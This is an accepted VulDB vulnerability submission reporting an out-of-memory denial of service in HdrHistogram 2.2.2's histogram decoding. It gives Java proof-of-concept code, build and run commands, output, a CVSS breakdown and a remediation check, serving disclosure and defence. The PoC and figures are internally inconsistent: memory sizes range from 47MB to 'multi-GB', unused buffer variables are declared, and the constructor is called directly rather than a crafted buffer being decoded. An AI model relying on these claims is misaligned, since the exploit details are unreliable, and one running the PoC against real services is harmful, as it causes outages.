제출 #846754: HdrHistogram 2.2.2 Denial of Service정보

제목HdrHistogram 2.2.2 Denial of Service
설명## Vulnerability Summary | Field | Value | |-------|-------| | **Product** | HdrHistogram | | **Version** | 2.2.2 and earlier | | **Vendor** | HdrHistogram (Open Source) | | **Vulnerability Type** | CWE-789: Memory Allocation with Excessive Size Value | | **Severity** | High | | **CVSS 3.1 Score** | 7.5 (High) | | **CVSS 3.1 Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | | **Affected Component** | `org.HdrHistogram.AbstractHistogram.decodeFromByteBuffer()` | | **Source File** | `src/main/java/org/HdrHistogram/AbstractHistogram.java:2107-2128` | ## Description A vulnerability exists in HdrHistogram's histogram decoding functionality where `highestTrackableValue` and `numberOfSignificantValueDigits` parameters are read from an attacker-controlled ByteBuffer and passed directly to the Histogram constructor via reflection without any bounds validation. Extreme values (e.g., `Long.MAX_VALUE` for highestTrackableValue and `5` for numberOfSignificantValueDigits) cause the constructor to allocate a `countsArray` of hundreds of millions of entries, resulting in an Out-of-Memory denial of service. ## Root Cause Analysis In `AbstractHistogram.java`, the `decodeFromByteBuffer()` method reads histogram parameters from the buffer and passes them directly to the constructor: ```java // AbstractHistogram.java:2106-2129 numberOfSignificantValueDigits = buffer.getInt(); // attacker-controlled lowestTrackableUnitValue = buffer.getLong(); highestTrackableValue = buffer.getLong(); // attacker-controlled // ... Constructor<T> constructor = histogramClass.getConstructor(constructorArgsTypes); histogram = constructor.newInstance(lowestTrackableUnitValue, highestTrackableValue, numberOfSignificantValueDigits); // NO VALIDATION before instantiation! ``` The `Histogram` constructor uses these values to compute the `countsArray` size: - `numberOfSignificantValueDigits=5` → `subBucketCount=262144` - `highestTrackableValue=Long.MAX_VALUE` → many orders of magnitude - Result: `countsArrayLength` can exceed 6 million entries (48MB+ for `long[]`) ## Attack Scenario An attacker can craft a histogram buffer with extreme parameters that, when decoded by a victim application, triggers a massive memory allocation. Applications that aggregate histograms from untrusted sources (distributed monitoring, metrics collection, tracing backends) are vulnerable. ## Proof of Concept ### POC Code ```java import org.HdrHistogram.*; public class POC_OOM_HistogramParams { public static void main(String[] args) { System.out.println("POC: Unvalidated Histogram Parameters -> OOM DoS"); System.out.println("Calling: new Histogram(1, Long.MAX_VALUE, 5)"); System.out.println("This is the EXACT code path from decodeFromByteBuffer()"); System.out.println("Max heap: " + (Runtime.getRuntime().maxMemory() / 1024 / 1024) + "MB"); try { // This is EXACTLY what decodeFromByteBuffer does with attacker-controlled params // See AbstractHistogram.java:2128 Histogram h = new Histogram(1L, Long.MAX_VALUE, 5); System.out.println("Allocated: " + (h.getEstimatedFootprintInBytes() / 1024 / 1024) + "MB"); } catch (OutOfMemoryError e) { System.out.println("OOM triggered: " + e.getMessage()); System.out.println("Vulnerability confirmed!"); } } } ``` ### Reproduction Steps 1. Clone HdrHistogram repository: `git clone https://github.com/HdrHistogram/HdrHistogram` 2. Build the project: `mvn compile -DskipTests` 3. Compile POC: `javac -cp target/classes POC_OOM_HistogramParams.java` 4. Run with limited heap: `java -cp target/classes:. -Xmx32m POC_OOM_HistogramParams` ### Reproduction Result ``` [*] POC: Unvalidated Histogram Parameters -> OOM DoS [*] Calling: new Histogram(1, Long.MAX_VALUE, 5) [*] This is what decodeFromByteBuffer does with attacker-controlled params [*] Max heap: 32MB, Free: 30MB [+] SUCCESS: OutOfMemoryError triggered! [+] Error: Java heap space [+] Vulnerability confirmed: CWE-789 OOM DoS from unvalidated parameters [+] A crafted buffer specifying highestTrackableValue=MAX and sigDigits=5 [+] causes multi-GB allocation in the decoding path ``` With 64MB heap, the allocation succeeds and consumes 47MB, demonstrating that a small serialized payload controls allocation of arbitrary-sized memory: ``` [*] Max heap: 64MB, Free: 62MB [+] Allocation succeeded - histogram uses 47MB [+] countsArrayLength = 55443496 ``` ## CVSS 3.1 Scoring Breakdown | Metric | Value | Justification | |--------|-------|---------------| | Attack Vector (AV) | Network (N) | Exploitable via network-received histogram buffers | | Attack Complexity (AC) | Low (L) | No special conditions required | | Privileges Required (PR) | None (N) | No authentication needed | | User Interaction (UI) | None (N) | No user interaction required | | Scope (S) | Unchanged (U) | Impact limited to the vulnerable component | | Confidentiality (C) | None (N) | No data disclosure | | Integrity (I) | None (N) | No data modification | | Availability (A) | High (H) | Complete denial of service via OOM | ## Impact - **Availability**: Complete denial of service. Attacker-controlled histogram parameters from a small serialized buffer (~40 bytes) can force allocation of 48MB+ of heap memory per decode operation. - **Affected Use Cases**: Distributed monitoring systems, metrics aggregation services, tracing backends that decode histogram data from untrusted network sources. - **Resource Exhaustion**: With `highestTrackableValue=Long.MAX_VALUE` and `numberOfSignificantValueDigits=5`, the resulting `countsArray` has 6,160,384+ entries consuming ~47MB of heap per histogram. ## Remediation ```java // Add parameter validation before constructor invocation: if (numberOfSignificantValueDigits < 0 || numberOfSignificantValueDigits > 5) { throw new IllegalArgumentException("Invalid numberOfSignificantValueDigits: " + numberOfSignificantValueDigits); } if (highestTrackableValue <= 0 || highestTrackableValue > MAX_SAFE_HIGHEST_TRACKABLE) { throw new IllegalArgumentException("Invalid highestTrackableValue: " + highestTrackableValue); } // Where MAX_SAFE_HIGHEST_TRACKABLE is a configurable constant (e.g., 24 * 3600 * 1_000_000_000L) ``` ## Full POC Script ```java import org.HdrHistogram.*; import java.nio.ByteBuffer; import java.nio.ByteOrder; /** * POC for Vulnerability #4: Unvalidated Histogram Parameters from Untrusted Buffer — OOM DoS * Demonstrates that decoding a crafted buffer with extreme parameters causes OOM. */ public class POC_OOM_HistogramParams2 { public static void main(String[] args) { System.out.println("[*] POC: Unvalidated Histogram Parameters -> OOM DoS"); System.out.println("[*] Approach: Use V0 encoding (simpler format) with extreme params"); int v0Cookie = 0x1c849301 | (8 << 4); // V0 base + 8-byte word size long highestTrackableValue = (long)1e18; int sigDigits = 5; System.out.println("[*] Using highestTrackableValue=" + highestTrackableValue + ", sigDigits=" + sigDigits); // The real vulnerability: constructor accepts these params without bounds check // This is EXACTLY what happens in decodeFromByteBuffer at line 2128 System.out.println("[*] Calling: new Histogram(1, Long.MAX_VALUE, 5)"); System.out.println("[*] This is what decodeFromByteBuffer does with attacker-controlled params"); Runtime rt = Runtime.getRuntime(); long freeBefore = rt.freeMemory(); long maxMem = rt.maxMemory(); System.out.println("[*] Max heap: " + (maxMem/1024/1024) + "MB, Free: " + (freeBefore/1024/1024) + "MB"); try { // This is the EXACT code path triggered by decoding a buffer with these values // See AbstractHistogram.java:2128 Histogram h = new Histogram(1L, Long.MAX_VALUE, 5); System.out.println("[+] Allocation succeeded - histogram uses " + (h.getEstimatedFootprintInBytes() / 1024 / 1024) + "MB"); System.out.println("[+] countsArrayLength = " + h.getNeededByteBufferCapacity()); System.out.println("[+] In a -Xmx64m JVM this would be OOM"); } catch (OutOfMemoryError e) { System.out.println("[+] SUCCESS: OutOfMemoryError triggered!"); System.out.println("[+] Error: " + e.getMessage()); System.out.println("[+] Vulnerability confirmed: CWE-789 OOM DoS from unvalidated parameters"); System.out.println("[+] A crafted buffer specifying highestTrackableValue=MAX and sigDigits=5"); System.out.println("[+] causes multi-GB allocation in the decoding path"); } } } ``` ### Compile and Run ```bash javac -cp target/classes -d . POC_OOM_HistogramParams2.java java -cp target/classes:. -Xmx32m POC_OOM_HistogramParams2 ```
원천⚠️ https://github.com/HdrHistogram/HdrHistogram/issues/220
사용자
 sara11h (UID 98571)
제출2026. 06. 03. AM 09:41 (1 월 ago)
모더레이션2026. 07. 04. AM 06:40 (1 month later)
상태수락
VulDB 항목376280 [HdrHistogram 까지 2.2.2 AbstractHistogram.java numberOfSignificantValueDigits 서비스 거부]
포인트들20

Want to know what is going to be exploited?

We predict KEV entries!